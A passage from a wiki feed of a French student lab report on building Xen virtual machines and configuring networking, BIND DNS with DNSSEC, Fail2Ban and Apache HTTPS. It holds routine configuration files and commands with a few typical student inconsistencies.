&lt;br /&gt;
; Enregistrements AAAA (IPv6)&lt;br /&gt;
ns	IN AAAA		2001:660:4401:60a0:216:3eff:fe32:8fa2&lt;br /&gt;
&lt;br /&gt;
: Enregistrements A (IPv4)&lt;br /&gt;
ns	IN A		193.48.57.164&lt;br /&gt;
&lt;br /&gt;
; Enregistrements CNAME&lt;br /&gt;
www	IN CNAME	wahran.online&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12103</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12103"/>
		<updated>2026-02-07T17:31:03Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
